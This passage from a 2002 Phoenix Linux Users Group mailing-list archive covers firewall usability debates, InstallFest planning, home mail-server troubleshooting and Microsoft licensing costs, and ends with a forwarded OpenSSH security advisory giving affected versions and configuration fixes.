he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 04:43:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 00:43:29 -0400 (EDT) Subject: West Side InstallFest Message-ID: The InstallFest Post Mortem this evening was a lot of fun, and can be briefly summarized as, "InstallFest was great! Let's do it again!" With that in mind the list of volunteers for the West Side InstallFest has begun: Flyer: Michelle Lowman Press: Lee Einer Site: Steve (foodog) (pending GCC approval) Web Site: Jim Farli Chairman: Bob Bushman Sponsor Wrangler: Available Installers: Anyone here ever installed Linux before? Other: How would you like to help? It was mentioned that der.hans provided quite a bit of invaluable wiring and power gear, that Alan has an appreciable network of sponsor contacts (and Jim may be able to bend the ear of someone at O'Reilly), and that William Lindley might have some organizational advice. Of course, your help is appreciated in any area you can support. As a tentative date, I'd like to suggest Saturday, September 28. Jim suggested this would give students time to settle into the fall semester and start looking for weekend distractions. On potential improvements, some things that caught my attention at the post mortem were: 1. More stations to allow more simultaneous installs. 2. Preliminary survey to identify users who want specialized installs. 3. Trans/Post-liminary survey to record the gear being used, OS being replaced, FAQs, etc. 4. Bob ------------------------------------------------------------------- "...it's time to drop all the Reagan-era cliches and face facts. That much economic clout in the hands of one company is bad for the whole software industry. Including Microsoft. This is [no longer] a free market." - Flying Monkey 6 ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:14:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 00:14:07 -0700 (MST) Subject: West Side InstallFest In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Robert Bushman so: > The InstallFest Post Mortem this evening was a > lot of fun, and can be briefly summarized as, > "InstallFest was great! Let's do it again!" > > With that in mind the list of volunteers for the > West Side InstallFest has begun: Woohoo! > Flyer: Michelle Lowman > Press: Lee Einer > Site: Steve (foodog) (pending GCC approval) > Web Site: Jim Farli > Chairman: Bob Bushman > > Sponsor Wrangler: Available > Installers: Anyone here ever installed Linux before? > > Other: How would you like to help? > > It was mentioned that der.hans provided quite > a bit of invaluable wiring and power gear, that My gear can be made available again. > Alan has an appreciable network of sponsor > contacts (and Jim may be able to bend the ear > of someone at O'Reilly), and that William > Lindley might have some organizational advice. > Of course, your help is appreciated in any > area you can support. > > As a tentative date, I'd like to suggest Saturday, > September 28. Jim suggested this would give > students time to settle into the fall semester > and start looking for weekend distractions. > > On potential improvements, some things that caught > my attention at the post mortem were: > > 1. More stations to allow more simultaneous installs. > 2. Preliminary survey to identify users who want > specialized installs. > 3. Trans/Post-liminary survey to record the gear > being used, OS being replaced, FAQs, etc. > 4. Pre-arrange for 802.11 stuff. Get a press release ready before the end of July and hit it again at the end of Aug. Set aside a place for demos and mark it clearly. Do the presentations. We got good traffic out of those. Have promo materials for the meetings and a workstation where people can sign up for the mailing list ( they'll still need to reply when they check their email ). Homemade cheesecake goes over really well :). ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 07:29:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Wed, 26 Jun 2002 00:29:25 -0700 Subject: Red Hat Fedora In-Reply-To: <0206252230000R.07972@nova.wedge.org> References: <0206252230000R.07972@nova.wedge.org> Message-ID: <200206260029.30143.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 25 June 2002 22:30, Jim wrote: > I just released a message from someone looking for a Red Hat fedora. Don't > worry Thurm - not yours. Red Hat sells them on their web site for $49.95. > The URL is http://www.redhat.cpm/apps/commerce/coolstuff.html. Amazing > what you can find on the Internet! That is good and all, but: a) Typo! Should be: http://www.redhat.com/apps/commerce/coolstuff.html (Of course everybody knew that.) b) "We'd order one from Red Hat but the shipping wouldn't make it here for the party next week." I think Andrew was looking for someone with an extra hat or the location of an offline store. However, I do wonder why 2nd day (or even next day) shipping is not good enough for a party next week . . . - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9GW1YpNoctRtUIRQRAujnAJ45/olP97tA4SkbCTKIXJxuT5o8ngCeLZaJ ZDe2rt5veXlYIHrXmf3tsRA= =+jSO -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 08:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 01:08:50 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <20020625202707.GB31500@aries.evilmascot.com> Message-ID: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Hello Kyle, Welcome aboard. > Anyways, I'd like to extend my thanks to everyone in > and running this > group; You guys really do a stellar job. > > -Kyle > Linux: It's a good thing. Don't forget Tux's pitchfork toting cousin :). I just got perfect dvd playback in freebsd which is something I never could accomplish in Linux (My own fault though I would assume since I'm using the linux modules to do this). Just out of curiosity was there any mention of FreeBSD at the latest installfest? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 10:25:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 03:25:00 -0700 Subject: setting up a real pop server at home Message-ID: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> ok, I've been searching some of the online docs and I'm not really close to a solution here. I'd like to setup and run a home based pop3 server to operate in concert with my smtp server (which is already working). so far, the mandrake website seems of little help. anyone happen to have a solution to this? it would make my life easier if I could check my e-mail from inside the lan on a box instead of logging into the gateway box, then using pine to check my mail (its a hassle). Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 11:37:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 04:37:05 -0700 Subject: setting up a real pop server at home In-Reply-To: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <1025091425.2388.2.camel@barney.azapple.com> On Wed, 2002-06-26 at 03:25, technomage wrote: > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > ---- On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, pop3s, imap & imaps services. Install the imap package and configure the above via xinetd and your firewall accordingly. Mandrake may have used something other than uw-imap. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:11:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:11:32 -0400 Subject: MS Pricing Plans Message-ID: <3D19AF74.D8DC4DEC@georgetoft.com> A friend of mine presented this to me: ---------- Recently, Microsoft offered an "Enterprise Agreement Program" to the Department of xxxx and we immediately requested quotes based on this agreement to see how we would fare. The cost for the Enterprise Agreement, when compared against the other options, is reasonable, and the benefits associated with the Enterprise Agreement are significant. Summary of Cost Comparison (for MS Office, Windows, CAL Bundle): MS Enterprise license per seat cost: $218.25 annually, for three years. Upgrade Advantage per seat cost: $328.36 paid once, two year agreement Software Assurance per seat cost $407.00 paid once, two year agreement New License per seat cost $632.00 per license ---------- Let me get this straight. The Department paid $50 (or so) for Windows when the computer was purchased, and $250 (deep Government discount) for Office. Now Microsoft wants them to pay almost this same amount every year? Where's my MS Enterprise Car, the one that I buy for a fixed price from the dealer, and then pay the same price for year after year? Looking at it another way, $218 per year for a small enterprise of say, 250 people, is $54,500 per year. That's enough money to add one more person to the work force (a $15.00/hr worker). If you have a large enterprise, of say 10,000 people, which (using the same numbers as above), is $2,180,000 per year. $2.1M will buy fourty $15.00/hour workers, or up to 18 high-tech people. It seems to me that with a team of 18-40 people, a company could migrate off the Microsoft nipple and recover their investment in under two years. But then there's that "What if it breaks? Who do we point the finger at?" I am not qualified to discuss Microsoft's Enterprise support. Maybe someone else can speak to that from first hand experience? If it's anything like the support contracts I've seen from every other vendor *EXCEPT* Sun Microsystems, it is money wasted. The Enterprise would get more return on their money by rolling it up on spools and putting it the restroom stalls. Just a thought . . . George From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:25:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:25:24 -0400 Subject: setting up a real pop server at home References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> Message-ID: <3D19B2B4.CC48C9A3@georgetoft.com> I think the easiest solution would be to allow outgoing port 110 on your firewall to your POP server. If your objective is to consolidate multiple e-mail accounts onto one server, use fetchmail to fetch all of your mail and dump it into a single account. George technomage wrote: > > ok, > I've been searching some of the online docs and I'm not really close to a > solution here. I'd like to setup and run a home based pop3 server to operate > in concert with my smtp server (which is already working). so far, the > mandrake website seems of little help. > > anyone happen to have a solution to this? > it would make my life easier if I could check my e-mail from inside the lan > on a box instead of logging into the gateway box, then using pine to check my > mail (its a hassle). > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:20:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Wed, 26 Jun 2002 08:20:45 -0400 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) References: <1025067862.30993.10.camel@barney.azapple.com> Message-ID: <3D19B19D.473E6146@georgetoft.com> For those learning iptables, please visit my presentation I gave a couple months ago (to another LUG) and comment on it. Was it clear? Did it help? http://www.georgetoft.com/linux/plug/presentations/firewall/index.html The objective of the presentation is to give the audience the basic background to read iptables scripts so they can modify scripts for their own use. When I started the presentation, I knew nothing about iptables. Now I have a custom firewall that has been professionally tested, and works quite well. In fact, every commercial scanner/vulnerability tester has stated this level of security is very unusual, and assumed there was a problem in the testing of the firewall. Thank you. George Craig White wrote: > > On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > > > > I should know about firewall configuration. I now have a reason to learn. > > =^) > > > > > > However, as we propel Linux forward, we need to help develop tools that don't > > require the user to know how or even why he needs a firewall. The average Joe > > just wants to know that his computer is secure because he picked the secure > > option on his install. And, if he needs to close a port or open a port, he > > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > > select an option and be on his merry way. Not an easy task but this is the > > mindset that company in Redmond has created and our society expects. > > > > If we want Linux on every desktop, it has to be made that easy. > > > > > ----- > I thoroughly disagree with this rant. > This has nothing whatsoever to do with Microsoft or Microsoft mindset. > In fact, your attitude represents the spoiled mentality of the Microsoft > user. > > This is open source software - when you see a need, you should offer > your time and energies to fill it - don't be content to curse the > darkness, light a candle. > > Redhat offers a simple minded 3 level firewall choice on install, all > using ipchains which is only offered on the 2.4 kernels for backwards > compatibility. You are probably wasting your time trying to learn > ipchains at this point. Netfilter/iptables is the native firewall module > for 2.4 kernels. If you want to learn something that is applicable, that > is what you should learn. > > If you want simple minded firewall configuration utility, may I suggest > firestarter. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 12:38:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 05:38:04 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <1025091425.2388.2.camel@barney.azapple.com> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> Message-ID: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> ok. I'm not sure what I did, but I managed to do it. postfix is working fine for internal mail, but now it presents "connection refused" to any attempt to send mail to it from the outside world. I've checked the config files 4 times and I can't seem to find the problem. a telnet to the proper port from a remote machine yields "connection refused" and a telnet from inside (to localhost) gives me a banner. what am I missing here? Technomage On Wednesday 26 June 2002 04:37 am, you wrote: > On Wed, 2002-06-26 at 03:25, technomage wrote: > > ok, > > I've been searching some of the online docs and I'm not really close to a > > solution here. I'd like to setup and run a home based pop3 server to > > operate in concert with my smtp server (which is already working). so > > far, the mandrake website seems of little help. > > > > anyone happen to have a solution to this? > > it would make my life easier if I could check my e-mail from inside the > > lan on a box instead of logging into the gateway box, then using pine to > > check my mail (its a hassle). > > ---- > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > pop3s, imap & imaps services. Install the imap package and configure the > above via xinetd and your firewall accordingly. Mandrake may have used > something other than uw-imap. > > Craig > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 13:11:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 26 Jun 2002 06:11:01 -0700 Subject: additional problem [was Re: setting up a real pop server at home] In-Reply-To: <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <20020626131101.XLFT24965.fed1mtao02.cox.net@there> nevermind. I found at least this one problem.... it wasn't locking to all interfaces (damned elusive commands not listed in man pages). ok, additional problem, mail thats supposed to be delivered to root gets stashed in nobody (in /var/spool/mail). because of this, I never see any of my system logs and/or reports. any way to correct this? On Wednesday 26 June 2002 05:38 am, you wrote: > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection > refused" and a telnet from inside (to localhost) gives me a banner. what am > I missing here? > > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:47 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> <20020626131101.XLFT24965.fed1mtao02.cox.net@there> Message-ID: <002f01c21d1e$101f5b30$0301010a@tickticker.com> i guess port 25 is open :-) ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 6:11 AM Subject: Re: additional problem [was Re: setting up a real pop server at home] > nevermind. > I found at least this one problem.... > it wasn't locking to all interfaces (damned elusive commands not listed in > man pages). > > ok, additional problem, mail thats supposed to be delivered to root gets > stashed in nobody (in /var/spool/mail). because of this, I never see any of > my system logs and/or reports. any way to correct this? > > On Wednesday 26 June 2002 05:38 am, you wrote: > > ok. > > I'm not sure what I did, but I managed to do it. > > postfix is working fine for internal mail, but now it presents "connection > > refused" to any attempt to send mail to it from the outside world. I've > > checked the config files 4 times and I can't seem to find the problem. > > > > a telnet to the proper port from a remote machine yields "connection > > refused" and a telnet from inside (to localhost) gives me a banner. what am > > I missing here? > > > > Technomage > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:30:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 26 Jun 2002 07:30:23 -0700 Subject: additional problem [was Re: setting up a real pop server at home] References: <20020626102500.WUXN25007.fed1mtao01.cox.net@there> <1025091425.2388.2.camel@barney.azapple.com> <20020626123805.ZEWD1378.fed1mtao03.cox.net@there> Message-ID: <002a01c21d1e$01ef2770$0301010a@tickticker.com> do you have a firewall blocking port 25? anthony ----- Original Message ----- From: "technomage" To: Sent: Wednesday, June 26, 2002 5:38 AM Subject: additional problem [was Re: setting up a real pop server at home] > ok. > I'm not sure what I did, but I managed to do it. > postfix is working fine for internal mail, but now it presents "connection > refused" to any attempt to send mail to it from the outside world. I've > checked the config files 4 times and I can't seem to find the problem. > > a telnet to the proper port from a remote machine yields "connection refused" > and a telnet from inside (to localhost) gives me a banner. what am I missing > here? > > Technomage > > On Wednesday 26 June 2002 04:37 am, you wrote: > > On Wed, 2002-06-26 at 03:25, technomage wrote: > > > ok, > > > I've been searching some of the online docs and I'm not really close to a > > > solution here. I'd like to setup and run a home based pop3 server to > > > operate in concert with my smtp server (which is already working). so > > > far, the mandrake website seems of little help. > > > > > > anyone happen to have a solution to this? > > > it would make my life easier if I could check my e-mail from inside the > > > lan on a box instead of logging into the gateway box, then using pine to > > > check my mail (its a hassle). > > > > ---- > > On redhat, it is the imap daemon (uw-imap) that provides pop2, pop3, > > pop3s, imap & imaps services. Install the imap package and configure the > > above via xinetd and your firewall accordingly. Mandrake may have used > > something other than uw-imap. > > > > Craig > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:47:47 -0700 Subject: mail aliases, mailinglist and netscape mail Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51C@mail.int.fh.org> K-Mail 3 does lists. It is just a little unstable. Hopefully that has been fixed in K-Mail 3.1 which is out but Red Hat has not yet put it on the up2date. -----Original Message----- From: mazdaracer [mailto:mazdaracer@earthlink.net] Sent: Tuesday, June 25, 2002 8:37 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: mail aliases, mailinglist and netscape mail I've tried Evolution, Sylpheed, Mozilla, Netscape 6.x mail programs and I think 1 or 2 others. I still come back to Netscape 4.77/78 when I'm using Linux because of the lists. I had been unable to figure out if and how to use lists from the other programs, including the latest Netscape one! Even importing the list from 4.7x to 6.x lost the lists. pete ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:58:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Wed, 26 Jun 2002 07:58:40 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. -----Original Message----- From: Craig White [mailto:craigwhite@azapple.com] Sent: Tuesday, June 25, 2002 10:04 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Security Rant (was Re: ipchains issue (Re: Webmin via Apache)) On Tue, 2002-06-25 at 21:32, alandd@mindspring.com wrote: > > I should know about firewall configuration. I now have a reason to learn. > =^) > > > However, as we propel Linux forward, we need to help develop tools that don't > require the user to know how or even why he needs a firewall. The average Joe > just wants to know that his computer is secure because he picked the secure > option on his install. And, if he needs to close a port or open a port, he > doesn't want to learn ipchains rule syntax or even port numbers, he wants to > select an option and be on his merry way. Not an easy task but this is the > mindset that company in Redmond has created and our society expects. > > If we want Linux on every desktop, it has to be made that easy. > > ----- I thoroughly disagree with this rant. This has nothing whatsoever to do with Microsoft or Microsoft mindset. In fact, your attitude represents the spoiled mentality of the Microsoft user. This is open source software - when you see a need, you should offer your time and energies to fill it - don't be content to curse the darkness, light a candle. Redhat offers a simple minded 3 level firewall choice on install, all using ipchains which is only offered on the 2.4 kernels for backwards compatibility. You are probably wasting your time trying to learn ipchains at this point. Netfilter/iptables is the native firewall module for 2.4 kernels. If you want to learn something that is applicable, that is what you should learn. If you want simple minded firewall configuration utility, may I suggest firestarter. Craig ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 15:35:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 26 Jun 2002 08:35:25 -0700 Subject: Security Rant (was Re: ipchains issue (Re: Webmin via Apache) ) In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B51D@mail.int.fh.org> Message-ID: <1025105725.2621.9.camel@barney.azapple.com> On Wed, 2002-06-26 at 07:58, Tom Achtenberg wrote: > The point of this rant was, if Linux people want Linux to be common place and to be a "viable" alternative for the AVERAGE user, it needs to be made as easy to use as MS products. At this time, it is not. Telling the average user that if they don't like something, they should program it themselves the way they want is stupid. MS doesn't expect the average user to be a programmer and if Linux proponents want to see Linux on every desktop, they will not be able to demand that either. It isn't a "spoiled mentality of the Microsoft user", it is the reality that 99% of the computer users ARE NOT PROGRAMMERS and do not want to be. Computers are a tool they want to use to make their lives and jobs easier. Having to be a programmer to use one (which is the current state of affairs for Linux for the most part) will only drive them to systems that do not require them to expend large amounts of time and energy to learn programming. > ---- You are wrong Tom System sets up just fine for average user. In this case, Alan wanted to set it up as a server. This is NOT a typical user function. This requires a bit more knowledge. Firewall script installed at installation allowed him to choose the ports that he wanted to have open. Poor planning isn't tolerated well in Windows world either. Helping doesn't necessarily have anything to do with programming. You can write some help files - many of which need to be done. It's open source which means that it is built through the efforts of people like you and me as well as the programmers. ipchains scripts & iptables scripts are available and really have nothing to do with programming anyway. Programs like firestarter can simplify the process for those who have little understanding of firewall scripts. But firewall scripts have nothing to do with programming but they do have something to do with understanding tcp/ip. Craig From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:44:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:44:15 -0400 (EDT) Subject: West Side InstallFest In-Reply-To: Message-ID: On Wed, 26 Jun 2002, der.hans wrote: > > It was mentioned that der.hans provided quite > > a bit of invaluable wiring and power gear, that > > My gear can be made available again. Thank You! > Pre-arrange for 802.11 stuff. > > Get a press release ready before the end of July and hit it again at the end > of Aug. > > Set aside a place for demos and mark it clearly. > > Do the presentations. We got good traffic out of those. > > Have promo materials for the meetings and a workstation where people can > sign up for the mailing list ( they'll still need to reply when they check > their email ). Excellant Ideas! Thanks! > Homemade cheesecake goes over really well :). A rule I try to live my life by :) From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 14:47:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Wed, 26 Jun 2002 10:47:48 -0400 (EDT) Subject: InstallFest & StarOffice? In-Reply-To: Message-ID: I'm contacting the educational distribution rep for Sun StarOffice today regarding some licenses for my office. Would anyone be opposed to my inviting them to sponsor the InstallFest? Are we entirely dedicated to OpenOffice, or would it be OK to also have StarOffice on site (and potentially for sale)? From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:01:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 26 Jun 2002 21:01:36 -0700 Subject: Hello I'm new (kinda) References: <20020626080850.51634.qmail@web13408.mail.yahoo.com> Message-ID: <3D1A8E20.E0B24537@mindspring.com> bob smith wrote: > Hello Kyle, Welcome aboard. > > > Anyways, I'd like to extend my thanks to everyone in > > and running this > > group; You guys really do a stellar job. > > > > > -Kyle > > Linux: It's a good thing. > Don't forget Tux's pitchfork toting cousin :). I just > got perfect dvd playback in freebsd which is something > I never could accomplish in Linux (My own fault though > I would assume since I'm using the linux modules to do > this). Just out of curiosity was there any mention of > FreeBSD at the latest installfest? > Yes FreeBSD and OpenBSD were represented. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 26 16:06:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 26 Jun 2002 09:06:22 -0700 (MST) Subject: SSH Exploit Revealed (fwd) Message-ID: *** OpenSSH Remote Root Exploit *** Hey all. I just sent this to AZIPA and considering the severe impact of a remote root exploit, and the fact that many of you are probably running OpenSSH, I thought I'd forward it to PLUG too. Details below: -- ~Jay ---------- Forwarded message ---------- Date: Wed, 26 Jun 2002 09:04:33 -0700 (MST) From: Jay To: AZIPA Subject: SSH Exploit Revealed *REMEMBER* OpenSSH is included in many products - you may be running it and not even know it. If any of your equipment (routers, servers, switches, toasters, etc...) supports secure remote login/management, then chances are you're using some form of SSH. There is a vulnerability in OpenSSH that allows an attacker to *remotely* gain root/administrator/super-user (full control) over the system. EdgeSecure already performs a test for this vulnerability - Threat ID# 11031 - http://www.edgeos.com/threats/details.php?id=11031 An EdgeSecure Advanced Scan (http://www.edgeos.com) will quickly test any of your systems for this security threat. I have included the official OpenSSH advisory notice below. If you *are* vulnerable to this threat, you should implement the solutions described below. If your version of SSH is embedded in a device (like a router or some vendor's server management software, for example), then you should contact your vendor *immediately* for a patch. -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. --- OpenSSH Advisory --- Subject: OpenSSH Security Advisory (adv.iss) 1. Versions affected: All versions of OpenSSH's sshd between 2.9.9 and 3.3 contain an input validation error that can result in an integer overflow and privilege escalation. OpenSSH 3.4 and later are not affected. OpenSSH 3.2 and later prevent privilege escalation if UsePrivilegeSeparation is enabled in sshd_config. OpenSSH 3.3 enables UsePrivilegeSeparation by default. Although OpenSSH 2.9 and earlier are not affected upgrading to OpenSSH 3.4 is recommended, because OpenSSH 3.4 adds checks for a class of potential bugs. 2. Impact: This bug can be exploited remotely if ChallengeResponseAuthentication is enabled in sshd_config. Affected are at least systems supporting s/key over SSH protocol version 2 (OpenBSD, FreeBSD and NetBSD as well as other systems supporting s/key with SSH). Exploitablitly of systems using PAM in combination has not been verified. 3. Short-Term Solution: Disable ChallengeResponseAuthentication in sshd_config. or Enable UsePrivilegeSeparation in sshd_config. 4. Solution: Upgrade to OpenSSH 3.4 or apply the following patches. 5. Credits: ISS. Appendix: A: Index: auth2-chall.c =================================================================== RCS file: /cvs/src/usr.bin/ssh/auth2-chall.c,v retrieving revision 1.18 diff -u 